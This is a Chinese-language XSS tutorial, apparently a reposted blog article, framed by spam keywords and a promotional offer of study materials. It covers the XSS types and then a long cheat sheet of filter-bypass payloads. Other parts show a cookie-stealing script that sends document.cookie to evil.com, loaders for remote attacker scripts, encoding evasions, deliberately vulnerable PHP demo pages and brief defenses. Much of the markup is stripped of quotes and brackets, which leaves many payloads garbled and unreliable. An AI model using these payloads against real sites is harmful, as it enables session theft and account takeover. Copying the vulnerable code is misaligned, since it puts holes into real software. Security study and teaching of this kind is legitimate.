免费网站建设无广告,wordpress彩票模板,中国市场网,域名解析管理网站01、XSS的原理和分类
跨站脚本攻击XSS(Cross Site Scripting)#xff0c;为了不和层叠样式表(Cascading Style Sheets#xff0c;CSS)的缩写混淆
故将跨站脚本攻击缩写为XSS#xff0c;恶意攻击者往Web页面里插入恶意Script代码#xff0c;当用户浏览该页面时#xff0c…01、XSS的原理和分类
跨站脚本攻击XSS(Cross Site Scripting)为了不和层叠样式表(Cascading Style SheetsCSS)的缩写混淆
故将跨站脚本攻击缩写为XSS恶意攻击者往Web页面里插入恶意Script代码当用户浏览该页面时嵌入Web里面的Script代码会被执行从而达到恶意攻击用户的目的XSS攻击针对的是用户层面的攻击
XSS分为存储型反射型DOM型XSS
存储型XSS存储型XSS持久化代码是存储在服务器中如在个人信息或发表文章等地方插入代码如果没有过滤或者过滤不严那么这些代码将储存到数据库中用户访问该页面的时候出发代码执行这种XSS比较危险容易造成蠕虫盗取Cookie
反射型XSS非持久化需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容)一般容易出现在搜索页面反射性XSS大多数是用来盗取用户的Cookie信息
DOM型XSS:不经过后端DOM-XSS漏洞是基于文档对象模型(Document Object Model ,DOM)的一种漏洞DOM-XSS是用过url传入参数取控制触发的其实也属于反射型XSSDOM的详解DOM文档对象模型 ①网络安全学习路线 ②20份渗透测试电子书 ③安全攻防357页笔记 ④50份安全攻防面试指南 ⑤安全红队渗透工具包 ⑥网络安全必备书籍 ⑦100个漏洞实战案例 ⑧安全大厂内部视频资源 ⑨历年CTF夺旗赛题解析 可能触发DOM型XSS的属性 document.referer window.name location innerHTML documen.write 02、XSS攻击的危害
1、盗取各类用户账号如机器登陆账号用户网银账号各类管理员账号 2、控制企业数据包括读取篡改添加删除企业敏感数据的能力 3、盗取企业重要的具有商业价值的资料 4、非法转账 5、强制发送电子邮件 6、网站挂马 7、控制受害者机器向其他网站发起攻击
03、XSS的测试语句
在网站是否存在XSS漏洞时应该输入一些标签如输入后查看网页源代码是否过滤标签如果没有过滤很大可能存在XSS漏洞。
常用测试语句 h51/h5
span1/span
可以看到网站并没有对标签进行过滤 scriptconsole.log(1);/script
可以看到并没有弹出但是控制台上输出了1我们可以确定确实存在XSS
闭合问题很多时候在测试XSS的时候想要要考虑到闭合问题我们首先查看网页的源代码需要首先判断出来网站用的时单引号闭合还是双引号闭合
spanx/span
spanx/span
单行注释
spanx/span//#双斜杠表示注释掉后面的语句
0x04、XSS攻击语句
输入检测确定标签没有过滤为了显示漏洞存在需要插入XSS攻击代码
scriptalert(1)/script
svg onloadalert(1)
a hrefjavascript:alert(1)
a hrefjavascript:alert(1)aa/a
(1)普通的 XSS JavaScript 注入 SCRIPT SRChttp://3w.org/XSS/xss.js/SCRIPT (2)IMG 标签 XSS 使用 JavaScript 命令 IMG SRChttp://3w.org/XSS/xss.js/ (3)IMG 标签无分号无引号 IMG SRCjavascript:alert(XSS) (4)IMG 标签大小写不敏感 IMG SRCJaVaScRiPt:alert(XSS) (5)HTML 编码(必须有分号) IMG SRCjavascript:alert(XSS) (6)修正缺陷 IMG 标签 IMG SCRIPTalert(XSS)/SCRIPT (7)formCharCode 标签(计算器) IMG SRCjavascript:alert(String.fromCharCode(88,83,83)) (8)UTF-8 的 Unicode 编码(计算器) IMG SRCjav..省略..S) (9)7 位的 UTF-8 的 Unicode 编码是没有分号的(计算器) IMG SRCjav..省略..S) (10)十六进制编码也是没有分号(计算器) IMG SRC#x6A#x61#x76#x61..省略..#x58#x53#x53#x27#x29 (11)嵌入式标签,将 Javascript 分开 IMG SRCjav ascript:alert(XSS); (12)嵌入式编码标签,将 Javascript 分开 IMG SRCjav ascript:alert(XSS); (13)嵌入式换行符 IMG SRCjav ascript:alert(XSS); (14)嵌入式回车 IMG SRCjav ascript:alert(XSS); (15)嵌入式多行注入 JavaScript,这是 XSS 极端的例子 IMG SRCjavascript:alert(XSS) (16)解决限制字符(要求同页面)
scriptzdocument./script
scriptzzwrite(/script
scriptzzscript/script
scriptzzsrcht/script
scriptzztp://ww/script
scriptzzw.shell/script
scriptzz.net/1./script
scriptzzjs/sc/script
scriptzzript)/script
scripteval_r(z)/script
(17)空字符 12-7-1 T00LS - Powered by Discuz! Board https://www.a.com/viewthread.php?actionprintabletid15267 2/6perl-e print IMG SRCjava\0script:alert(\XSS\); out (18)空字符 2,空字符在国内基本没效果.因为没有地方可以利用 perl -e print SCR\0IPTalert(\XSS\)/SCR\0IPT; out (19)Spaces 和 meta 前的 IMG 标签 IMG SRC javascript:alert(XSS); (20)Non-alpha-non-digit XSS SCRIPT/XSS SRChttp://3w.org/XSS/xss.js/SCRIPT (21)Non-alpha-non-digit XSS to 2
BODY onload!#$%()*~-_.,:;?[/|\]^alert(XSS)
(22)Non-alpha-non-digit XSS to 3 SCRIPT/SRChttp://3w.org/XSS/xss.js/SCRIPT (23)双开括号 SCRIPTalert(XSS);///SCRIPT (24)无结束脚本标记(仅火狐等浏览器) SCRIPT SRChttp://3w.org/XSS/xss.js?B (25)无结束脚本标记 2 SCRIPT SRC//3w.org/XSS/xss.js (26)半开的 HTML/JavaScript XSS IMG SRCjavascript:alert(XSS) (27)双开角括号 iframe srchttp://3w.org/XSS.html (28)无单引号 双引号 分号 SCRIPTa/XSS/alert(a.source)/SCRIPT (29)换码过滤的 JavaScript \;alert(XSS);// (30)结束 Title 标签 /TITLESCRIPTalert(XSS);/SCRIPT (31)Input Image INPUT SRCjavascript:alert(XSS); (32)BODY Image BODY BACKGROUNDjavascript:alert(XSS) (33)BODY 标签 BODY(XSS) (34)IMG Dynsrc IMG DYNSRCjavascript:alert(XSS) (35)IMG Lowsrc IMG LOWSRCjavascript:alert(XSS) (36)BGSOUND BGSOUND SRCjavascript:alert(XSS); (37)STYLE sheet LINK RELstylesheet HREFjavascript:alert(XSS); (38)远程样式表 LINK RELstylesheet HREFhttp://3w.org/xss.css (39)List-style-image(列表式) STYLEli {list-style-image: url(javascript:alert(XSS));}/STYLEULLIXSS (40)IMG VBscript IMG SRCvbscript:msgbox(XSS)/STYLEULLIXSS (41)META 链接 url META HTTP-EQUIVrefresh CONTENT0;URLhttp://URLjavascript:alert(XSS); (42)Iframe IFRAME SRCjavascript:alert(XSS);/IFRAME (43)Frame
FRAMESETFRAME SRCjavascript:alert(XSS);
/FRAMESET12-7-1 T00LS - Powered by Discuz!
Boardhttps://www.a.com/viewthread.php?actionprintabletid15267 3/6
(44)Table TABLE BACKGROUNDjavascript:alert(XSS) (45)TD TABLETD BACKGROUNDjavascript:alert(XSS) (46)DIV background-image DIV STYLEbackground-image: url(javascript:alert(XSS)) (47)DIV background-image 后加上额外字符 (1-3234391608192-8131228865279) **DIV STYLEbackground-image: url(javascript:alert(XSS))** (48)DIV expression DIV STYLEwidth: expression_r(alert(XSS)); (49)STYLE 属性分拆表达 IMG STYLExss:expression_r(alert(XSS)) (50)匿名 STYLE(组成:开角号和一个字母开头) XSS STYLExss:expression_r(alert(XSS)) (51)STYLE background-image STYLE.XSS{background-image:url(javascript:alert(XSS));}/STYLEACLASSXSS/A (52)IMG STYLE 方式 exppression(alert(XSS)) (53)STYLE background
STYLESTYLEtypetext/cssBODY{background:url(javascript:alert(XSS))}/STYLE
(54)BASE
BASE HREFjavascript:alert(XSS);//
(55)EMBED 标签,你可以嵌入 FLASH,其中包涵 XSS EMBED SRChttp://3w.org/XSS/xss.swf /EMBED (56)在 flash 中使用 ActionScrpt 可以混进你 XSS 的代码 aget;bURL(\;cjavascript:;dalert(XSS);\);eval_r(abcd); (57)XML namespace.HTC 文件必须和你的 XSS 载体在一台服务器上 HTML xmlns:xss?import namespacexss implementationhttp://3w.org/XSS/xss.htcxss:xssXSS/xss:xss/HTML (58)如果过滤了你的 JS 你可以在图片里添加 JS 代码来利用 SCRIPT SRC/SCRIPT (59)IMG 嵌入式命令,可执行任意命令 IMG SRChttp://www.a.com/a.php?ab (60)IMG 嵌入式命令(a.jpg 在同服务器) Redirect 302 /a.jpg http://www.XXX.com/admin.aspdeleteuser (61)绕符号过滤· SCRIPT a SRChttp://3w.org/xss.js/SCRIPT (62)SCRIPT SRChttp://3w.org/xss.js/SCRIPT (63)SCRIPT a SRChttp://3w.org/xss.js/SCRIPT (64)SCRIPT a SRChttp://3w.org/xss.js/SCRIPT (65)SCRIPT a SRChttp://3w.org/xss.js/SCRIPT (66)
12-7-1 T00LS - Powered by Discuz! Board
https://www.a.com/viewthread.php?actionprintabletid15267 4/6SCRIPT a
SRChttp://3w.org/xss.js/SCRIPT
(67)
SCRIPTdocument.write(SCRI);/SCRIPTPT SRChttp://3w.org/xss.js/SCRIPT
(68)URL 绕行 A HREFhttp://127.0.0.1/XSS/A (69)URL 编码 A HREFhttp://3w.orgXSS/A (70)IP 十进制 A HREFhttp://3232235521″XSS/A (71)IP 十六进制 A HREFhttp://0xc0.0xa8.0×00.0×01″XSS/A (72)IP 八进制 A HREFhttp://0300.0250.0000.0001″XSS/A (73)混合编码 A HREFhttp://6 6.000146.0×7.147/XSS/A (74)节省[http:] A HREF//www.google.com/XSS/A (75)节省[www] A HREFhttp://google.com/XSS/A (76)绝对点绝对 DNS A HREFhttp://www.google.com./XSS/A (77)javascript 链接 A HREFjavascript:document.locationhttp://www.google.com/XSS/A
各个标签的的攻击语句
scriptalert(hack)/script #弹出hack
scriptalert(/hack/)/script #弹出hack
scriptalert(1)/script #弹出1对于数字可以不用引号
scriptalert(document.cookie)/script #弹出cookie
script srchttp://xxx.com/xss.js/script #引用外部的xss
svg标签
svg onloadalert(1)
svg onloadalert(1)//
标签
img src1 οnerrοralert(hack)
img src1 οnerrοralert(document.cookie) #弹出cookie
标签
body οnlοadalert(1)
body οnpageshοwalert(1)
video 标签
video οnlοadstartalert(1) src/media/hack-the-planet.mp4 /
style标签
style οnlοadalert(1)/style
05、XSS漏洞的挖掘
5.1、黑盒测试
尽可能找到一切用户可控并且能够输出在页面代码中的地方比如下面这些 URL的每一个参数 URL本身 表单 搜索框
5.2、常见业务场景 重灾区评论区留言区个人信息订单信息等 针对型站内信网页及时通讯私信意见反馈 存在风险搜索框当前目录图片属性等
5.3、白盒审计
关于XSS的代码审计主要就是从接收参数的地方和一些关键此入手
PHP中常见的接收参数的方法有 G E T _GET GET_POST$_REQUEST等等可以搜索所有接收参数的方法然后对接收到的数据进行跟踪看看有没有输出到页面中然后看看输出到页面中的数据是否进行了过滤和html编码等处理
也可以搜索类似echo这样的输出语句跟踪输出的变量是从哪里来的我们是否能控制如果从数据库中取得是否能控制存到数据库得数据存到数据库之前有没有得到过滤等等
大多数程序会对接收参数封装在公共文件得函数中统一调用我们就需要审计这些公共函数看有没有过滤能否绕过等等
同理审计DOM型注入可以搜索一些js操作DOM元素得关键字进行审计
06、XSS的攻击过程
6.1、反射型XSS漏洞
1、Alice经常浏览某个网站此网站为Bob所拥有Bob的站点需要Alice使用用户名、密码进行登陆并存储了Ailce敏感信息(比如银行账户)
2、Tom发现Bob的站点存在反射的XSS漏洞
3、Tom利用Bob网站的反射型XSS漏洞编写了一个exp做成链接的形式并利用各种手段诱导Alice点击
4、Alice在登陆Bob的站点后浏览了Tom提供的恶意链接
5、嵌入到恶意链接中的恶意脚本在Alice的浏览器中执行此脚本盗取敏感信息(cookie,账号等信息)然后在Alice完全不知情的情况下将这些信息发送给了Tom
6、Tom利用获取到的Cookie就可以以Alice的身份信息登陆Bob的站点如果脚本的功能更强大的化Tom还可以对Alice的浏览器做控制并进一步利用漏洞控制
6.2、存储型XSS漏洞
1、Bob拥有一个Web站点该站点允许用户发布信息浏览已发布的信息
2、Tom检测到Bob的站点存在存储型的XSS漏洞
3、Tom在Bob的网站发布了一个带有恶意脚本的热点信息该热点信息存储在了Bob的服务器的数据库中然后吸引其他用户来阅读该热点信息
4、Bob或者时任何的其他人如Alice浏览了该信息之后Tom的恶意脚本就会执行
5、Tom的恶意脚本执行后Tom就可以对浏览器该页面的用户发起一次XSS攻击
07、XSS攻击测试
7.1、远程加载攻击payload
XSS漏洞能够通过构造恶意的XSS语句实现很多功能其中做常用的时构建XSS恶意代码获取对方浏览器的COOKIE
1我们首先把恶意代码保存在本地kali里面实战情况下我们将代码保存在我们的服务器上
var imgdocument.createElement(img);
img.srchttp://www.evil.com/log?escape(document.cookie);
document.body.appendChild(img); 2我们在kali用python开启http服务
python -m http.server 80
3我们在有XSS漏洞的地方远程加载我们的恶意代码 script srchttp://192.168.61.128/xss.js/script
看到浏览器加载了我们的xss恶意代码
4成功获取到了cookie信息
5图片创建链接
img src
onerrordocument.body.appendChild(document.createElement(script)).src//192.168.0.110/xss.
js
6字符拼接
这种一般是输入的字符有限制的时候使用
scriptzdocument./script
scriptzzwrite(/script
scriptzzscript/script
scriptzz srcht/script
scriptzztp://www./script
scriptzzxsstools/script
scriptzz.com/a/script
scriptzzmER/sc/script
scriptzzript)/script
scripteval(z)/script
有的情况要用/**/注释不需要的代码。
7jQuery加载
script$.getScript(//www.xsstools.com/amER);/script
7.2、反射型XSS
//前端 1.html
html
head langenmeta charsetUTF-8title反射型XSS/title
/head
bodyform actionaction.php methodpostinput typetext namename /input typesubmit value提交/form
/body
/html//后端 action.php
?php$name$_POST[name]; echo $name;
?
我们接着在输入框输入:scriptalert(/xss/)/script
页面直接弹出了xss的页面可以看到 我们插入的语句已经被页面给执行了这就是最基本的反射型XSS漏洞这种漏洞流向前端–后端–前端
7.3、存储型XSS
//前端2.html
html
head langenmeta charsetUTF-8title存储型XSS/title
/head
bodyform actionaction2.php methodpost输入你的IDinput typetext nameid / br/输入你的Nameinput typetext namename / br/input typesubmit value提交/form
/body
/html
//后端action2.php
?php$id$_POST[id];$name$_POST[name];mysql_connect(localhost,root,root);mysql_select_db(test);$sqlinsert into xss value ($id,$name);$resultmysql_query($sql);
?
//供其他用户访问页面show2.php
?phpmysql_connect(localhost,root,root);mysql_select_db(test);$sqlselect * from xss where id1;$resultmysql_query($sql);while($rowmysql_fetch_array($result)){echo $row[name];}
?
这里有一个用户提交页面数据提交给后端之后后端存储在数据库中然后当其他用户访问另一个页面的时候后端调出该数据显示给另一个用户XSS代码就被执行了 我们输入3和scriptalert(/xss/)/script接着我们看看数据库 可以看到我们的XSS语句已经插入到数据库中了
然后当其他用户访问show2.php页面的时候我们插入的XSS代码就执行了
存储型XSS的数据流向是前端–后端–数据库–后端–前端
7.4、DOM型XSS
先放源代码
// 前端3.html
htmlhead langenmeta charsetUTF-8titleDOM型XSS/title/headbodyform actionaction3.php methodpostinput typetext namename /input typesubmit value提交/form/body/html// 后端action3.php?php$name$_POST[name];
?
input idtext typetext value?php echo $name; ?/
div idprint/div
script typetext/javascriptvar textdocument.getElementById(text);var printdocument.getElementById(print);print.innerHTMLtext.value; // 获取 text的值并且输出在print内。这里是导致xss的主要原因。
/script
这里有一个提交页面用户可以在此提交数据数据提交之后给后台处理 我们可以输入img src1 οnerrοralert(‘hack’),然后看看页面的变化
页面直接弹出了hack的页面我们插入的语句已经被页面给执行了
这就是DOM型XSS的漏洞这种漏洞的数据流向是前端–浏览器
08、XSS编码绕过
8.1、gpc过滤字符
如果gpc开启的时候特殊字符会被加上斜杠即‘变成’xss攻击代码不要用带单引号和双引号
绕过gpc在php高版本gpc默认是没有的但是开发程序员会使用addcslashes()对特殊字符进行转义 script srchttp://www.xss123.com/JGdbsl?1623638390/script这个是执行不了的 script srchttp://www.xss123.com/JGdbsl?1623638390/script没有单引号可执行
8.2、过滤alert
当页面过滤alert这个函数时因为这个函数会弹窗不仅很多程序会对他进行过滤而且很多waf都会对其进行拦截所以不存在alert即可
scriptprompt(/xss/);/script
scriptconfirm(1);/script
script srchttp://www.xss123.com/eciAKJ?1623635663/script
8.3、过滤标签
在程序里如果使用了html实体过滤在php会使用htmlspecialchars()对输入的字符进行实体化实体化之后的字符不会在html执行把预定义的字符“(小于)和”(大于)转化为HTML实体构造xss恶意代码大多数都必须使用或者这两个字符被实体化之后html里就不能执行了
预定义的字符是
(和号)成为amp
“(双引号)成为quot
’(单引号)成为#039
(小于)成为lt
·(大于)成为gt 但是又在input这些标签里是不用考虑标签实体化因为用不上这两个标签
input typetext nameusername value onclickjavascript:alert(xss);/
8.4、ascii编码
scriptalert(String.fromCharCode(88,83,83))/script
8.5、url编码
a hrefjavascript:%61%6c%65%72%74%28%32%29123/a
8.6、JS编码
编码直通车https://www.jb51.net/tools/zhuanhuan.htm
八进制编码 scripteval(\141\154\145\162\164\50\61\51);/script
16进制编码 scripteval(\x61\x6c\x65\x72\x74\x28\x31\x29)/script
jsunicode编码 script\u0061\u006c\u0065\u0072\u0074(xss);/script
8.7、HTML编码
在后可以解析html编码
十进制 img srcx onerror#97;#108;#101;#114;#116;#40;#49;#41; / button onclickconfirm(7#39;);Button/button 十六进制
img srcx onerror#x61;#x6C;#x65;#x72;#x74;#x28;#x31;#x29;/
8.8、base64编码
使用伪协议base64解码执行xss
a hrefdata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg111/a
object datadata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg/object
iframe srcdata:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg/iframe
0x09、XSS的防御
XSS防御的总体思路是对用户的输入(和URL参数)进行过滤对输出进行html编码也就是对用户提交的所有内容进行过滤对url中的参数进行过滤过滤掉会导致脚本执行的相关内容然后对动态输出到页面的内容进行html编码使脚本无法在浏览器中执行
对输入的内容进行过滤可以分为黑名单和白名单过滤黑名单过滤虽然可以拦截大部分的XSS攻击但是还是存在被绕过的风险白名单过滤虽然可以基本杜绝XSS攻击但是真实环境中一般是不能进行如此严格的白名单过滤的
对输出进行html编码就是通过函数将用户的输入的数据进行html编码使其不能作为脚本运行
如下是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码将其转化为html实体
#使用htmlspecialchars函数对用户输入的name参数进行html编码将其转换为html实体
$name htmlspecialchars( $_GET[ name ] );
我们还可以服务端设置会话Cookie的HTTP Only属性这样客户端的JS脚本就不能获取Cookie信息了
学习计划安排 我一共划分了六个阶段但并不是说你得学完全部才能上手工作对于一些初级岗位学到第三四个阶段就足矣~
这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包需要的小伙伴可以扫描下方CSDN官方合作二维码免费领取哦无偿分享
如果你也想学习:黑客网络安全的零基础攻防教程
今天只要你给我的文章点赞我私藏的网安学习资料一样免费共享给你们来看看有哪些东西。
在这里领取 这个是我花了几天几夜自整理的最新最全网安学习资料包免费共享给你们其中包含以下东西
1.学习路线职业规划 2.全套体系课入门到精通 3.黑客电子书面试资料 4.漏洞挖掘工具和学习文档